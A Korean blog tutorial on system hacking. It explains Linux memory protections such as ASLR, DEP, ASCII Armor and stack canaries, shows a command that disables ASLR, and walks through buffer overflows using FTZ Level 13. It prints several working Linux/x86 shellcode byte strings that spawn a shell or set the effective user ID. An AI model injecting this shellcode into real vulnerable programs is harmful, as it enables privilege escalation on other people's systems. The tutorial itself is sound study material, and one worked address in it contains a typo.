ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [시스템해킹 #3] 메모리 보호 기법, 쉘코드, 환경변수
    EVI$ION/SYSTEM HACKING 2019. 5. 6. 03:32

    [메모리 보호 기법]

    ASLR (Address Space Layout Randomization)

    ASLR은 메모리 상의 공격을 어렵게 하기 위해 스택이나 힙, 라이브러리 등의 주소를 랜덤으로 프로세스 주소 공간에 배치함으로써 실행할 때마다 데이터의 주소가 바뀌게 하는 메모리 보호 기법이다. 주소가 완전히 랜덤으로 바뀌는 것은 아니고, 순서와 패턴은 어느 정도 유지한다.

     

    ASLR의 적용 여부는 cat /proc/self/maps 명령을 통해 알 수 있다.

    /proc는 process의 준말로, 프로세스의 정보들이 저장되는 디렉터리이다. /proc/self는 현재 실행되고 있는 프로세스의 정보가 저장되어 있는 디렉터리이고, /proc/self/maps는 현재 실행되고 있는 프로세스의 주소 맵을 가리킨다.

     

    아래 캡처 화면을 보면, 빨간 박스 안에 있는 주소와 노란 박스 안에 있는 주소가 서로 다른 것으로 보아, 현재 실행중인 프로세스에 ASLR이 적용되어 있음을 알 수 있다.

    ASLR이 적용된 프로세스

     

    ASLR이 적용된 경우 디버깅 시에 정확한 주소를 알아낼 수 없기 때문에, 이를 해제할 필요가 있다.

    echo 0 > /proc/sys/kernel/randomize_va_space

    (이는 root 권한으로만 조작할 수 있으며, 재부팅시 다시 원래대로 돌아온다.)

    randomize_va_space = 0 : ASLR 해제

    randomize_va_space = 1 : 랜덤 스택 & 랜덤 라이브러리 설정

    randomize_va_space = 2 : 랜덤 스택 & 랜덤 라이브러리 & 랜덤 힙 설정

     

    ASLR 해제

     

    DEP (Data Execution Prevention) (NX(Non - eXcutable) bit)

    DEP는 메모리(스택, 힙) 영역에서 코드가 실행되는 것을 막는 메모리 보호 기법이다.

     

    gcc 컴파일 시, -z execstack 옵션으로 DEP를 설정할 수 있다.

    DEP 설정

    만약 실행중인 프로세스에 DEP가 적용되어 있는지 확인하고 싶으면 ASLR과 마찬가지로 cat /proc/self/maps를 통해 실행 권한(x 표시)이 있는지 확인하면 된다.

    DEP가 적용되지 않은 스택
    DEP가 적용된 스택

    이 방법 외에도 checksec.sh라는 스크립트 기반 툴을 통해서도 DEP 적용 여부를 확인할 수 있다.

    NX bit로 DEP 적용 여부 확인

     

    Ascii Armor

    위에서 소개한 두 기법(ASLR, DEP)은 RTL 공격으로 뚫을 수 있다. 이러한 취약점을 보완하는 메모리 보호 기법이 Ascii Armor 기법이다. 

    Ascii Armor 기법은 공유 라이브러리 영역의 상위 주소에 0x00을 포함시켜 라이브러리를 텍스트 영역(16MB) 아래 주소에 할당함으로써 RTL 공격을 방지하는 메모리 보호 기법이다. 0x00은 ASCII 코드에서 NULL을 의미하는데, strcpy 함수를 통해 RTL 공격을 시도할 경우 NULL로 인식을 하기 때문에 코드가 끝난 것으로 인식하여 프로그램이 중지된다.

     

    Ascii Armor의 적용 여부는 cat /proc/self/maps에서 주소값을 보면 알 수 있다. 또는 gdb에서 p(print) [함수명]으로 주소값을 보고 알 수 있다. 주소값 앞에 00이 붙어있으면 Ascii Armor가 적용된 것이다.

    (아래에서 .so는 공유 라이브러리 확장자이다.)

    Ascii Armor가 적용된 프로세스

     

    Stack Canary

    함수 진입 시 스택에 SFP와 리턴 어드레스 정보를 저장할 때, 이 정보들이 공격자에 의해 덮어씌워지는 것을 방지하기 위해 스택 상의 변수들의 공간과 SFP 사이에 Canary라는 특정 값을 추가한다. 만약 버퍼 오버플로우로 인해 실행 전후의 Canary 값이 달라지면 그대로 프로그램을 종료함으로써 공격을 방지한다. Canary는 운영체제마다 정해진 값이 다르다.

    Canary

    stack canary의 설정 여부를 확인하는 방법은 두 가지가 있다.

    하나는 핸드레이를 통해 직접 확인하는 방법이고, 다른 하나는 checksec.sh 툴을 통해 확인하는 것이다.

    핸드레이로 canary 값 비교
    checksec.sh 툴을 이용한 stack canary 확인

     

     

    [Shell Code]

    쉘코드란, 시스템의 특정 명령(주로 shell)을 실행시키는 작은 프로그램들을 말한다. 일반적으로 기계어 코드로 작성된다.

    쉘코드 종류로는 로컬 쉘코드, 원격 쉘코드, 다운로드 및 실행 쉘코드 이렇게 3가지가 있다.

     

    로컬 쉘코드 (Local Shellcode)

    공격자가 대상 시스템에 대한 제한적인 접근 권한을 가지는 경우에 사용된다. BOF 등의 취약점이 있는 높은 권한을 가진 프로세스를 공격함으로써 해당 프로세스와 같은 권한을 획득할 때 사용한다.

     

    원격 쉘코드 (Remote Shellcode)

    공격자가 네트워크 상의 다른 대상 시스템에 대한 취약점이 있는 프로세스를 공격하고자 할 때 사용된다. 일반적으로 공격자가 대상 시스템의 쉘에 대한 접근을 허용하기 위해 표준 TCP/IP 소켓 연결을 사용하는데, 이 연결 방식에 따라 리버스 쉘코드와 바인드 쉘코드로 분류할 수 있다.

    • 리버스 쉘코드 (Reverse Shellcode): 목표 시스템으로부터 공격자에게 연결을 요청하는 쉘코드이다.
    • 바인드 쉘코드 (Bind Shellcode): 쉘코드가 목표 시스템의 특정 포트를 바인드하여 공격함으로써 공격자가 대상 시스템에 연결할 수 있게 해준다.

     

    다운로드 및 실행 쉘코드 (Download & Execute Shellcode)

    쉘코드가 직접 쉘을 실행하지 않고, 주로 외부의 네트워크로부터 악성코드를 다운로드하고 실행할 때 사용되는 쉘코드이다. Drive By Download 공격에 주로 사용된다.

     

     

    BOF에서 쉘코드가 어떻게 활용되는지 간단한 예시를 통해 알아보자.

    아래와 같은 메모리 구조에서 25byte 크기의 쉘코드를 사용한다고 가정하자.

    쉘코드를 적용시킬 프로그램의 메모리 구조

     

    25byte 크기의 쉘코드

    먼저 버퍼에 쉘코드를 채워 넣는다. 쉘코드의 크기가 25byte이므로 버퍼에는 15byte의 빈공간이 남아있다. 이 15byte의 빈공간과 4byte의 SFP 부분에 아무 문자를 채워넣고, 리턴 어드레스 부분에는 쉘코드의 시작 주소를 삽입한다. 이렇게 하면 프로그램에서 함수의 수행이 끝나면 리턴 어드레스를 통해 쉘코드의 시작 부분으로 이동하기 때문에 쉘코드가 실행된다.

     

    ※ 쉘 코드 작성 방법

    1) 가장 기본적인 쉘을 띄우는 코드 (크기: 25bytes)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 

     

    2) 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드 (크기: 31bytes)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

     

    3) setreuid(geteuid(), getreuid()), exit(0)까지 포함시킨 쉘코드 (크기: 47bytes)

    \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

     

    4) exit(0) 코드 (크기: 6bytes)

    \x31\xc0\xb0\x01\xcd\x80  

     

    5) setreuid(geteuid(), getreuid()) 코드 (크기: 16bytes)

    \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

     

    6) Linux/x86 execve /bin/sh 쉘코드 (크기: 23bytes)

    (execve: system 함수의 공유 라이브러리. RTL을 시도할 때 사용한다.)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

     

    7) Linux x86 파일명 쉘코드 (크기: 48bytes)

    \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

     

    ※ 그 외의 다양한 쉘코드 작성 방법은 https://5log.tistory.com/174?category=764693를 참고한다.

     

     

    [환경변수]

    사용자의 명령을 기다리는 프롬프트 상에서 command를 입력해 실행하면, 운영체제는 그 실행파일을 path에 설정된 경로에서 찾는다. path에 설정된 위치에 있는 명령어들은 그냥 명령어만 입력해도 실행이 되지만, path에 설정되어 있지 않은 명령어들은 명령어의 위치를 나타내는 절대 경로를 사용해야만 실행이 가능하다.

     

    우리가 흔히 사용하는 cd, ls와 같은 명령어들은 어떤 경로에 있는 디렉터리(명령어가 저장된 디렉터리는 /bin) 내에 프로그램으로 존재한다. 만약 이 명령어들이 path에 설정되어 있지 않다면, 이 프로그램들을 실행하기 위해 /bin/ls, /bin/cd처럼 일일이 절대경로를 써주어야 한다. 하지만 우리는 ls, cd를 사용할 때 절대경로를 명시하지 않는다. 그 이유는 명령어들이 환경변수에 명시되어 있기 때문이다.

     

    환경변수를 설정하려면 export 명령어를 사용해야 한다.

    export [환경변수명]=[값]

     

    설정된 환경변수를 확인하는 방법은 두 가지가 있다.

    env : 모든 환경변수 출력

    echo $[환경변수명] : 하나의 환경변수만 출력

     

     

    그렇다면 시스템해킹에서 환경변수가 어떻게 활용되는지 알아보자.

     

    쉘코드를 삽입할 버퍼 공간이 부족할 때, 가장 기초적인 공격 방법은 환경변수의 주소를 알아내는 것이다. 환경변수의 주소를 알아내는 방법에는 두 가지가 있는데, 하나는 코딩을 통해 알아내는 것이고, 다른 하나는 gdb를 이용해 알아내는 것이다.

     

    코딩을 이용하여 환경변수 주소 알아내기

    getenv("환경변수명") 함수를 사용하여 c언어 프로그램을 작성한 뒤 컴파일하여 프로그램을 생성한다. 만든 프로그램을 실행하면 getenv 함수의 인자에 해당하는 환경변수의 주소값이 출력된다.

    getenv.c
    ./getenv 실행

     

    gdb를 이용하여 환경변수 주소 알아내기

    메모리 주소 공간은 유저 영역과 커널 영역으로 나뉜다. 하나의 프로세스가 실행될 때, 해당 프로세스는 유저영역 내에서 코드 영역, 데이터 영역, 힙 영역, 스택 영역에 나뉘어져 할당된다. 환경변수는 유저 영역 중에서도 스택 영역에 저장되어 있다.

    메모리 구조 - env의 위치

    어떻게 gdb로 환경변수의 주소를 찾는지 예시를 통해 알아보자. (F.T.Z Level 13)

    버퍼 오버플로우 공격을 수행할 프로그램의 소스 코드는 아래와 같다.

    level13 attackme의 소스코드

    gdb를 실행하여 해당 파일의 leave 부분에 break point를 걸어놓고 프로그램을 실행한다.

    그 다음, 스택의 끝부분(0xbfffffff)에서 1500을 뺀 위치로부터 500 byte만큼을 string 형태로 출력해본다.

     

    그 결과, 쉘코드가 저장된 변수인 SH_CODE의 시작 주소가 0xbffffa8f임을 알 수 있다. 이 주소를 그대로 쓰면 안되고, SH_CODE= 문자열 부분을 제외해야 하기 때문에 0xbffffa8f에서 적당히 더해준 값을 주소로 사용해야 한다. 여기서는 0x20을 더해준 0xbfffaaf를 주소값으로 사용했는데, 사실 NOP의 존재 때문에 더 넉넉히 더해줘도 된다고 한다. NOP에 대해서는 다음 시간에 더 자세히 설명한다.

     

     

    [참고문헌 및 출처]

    https://bob3rdnewbie.tistory.com/121

Designed by Tistory.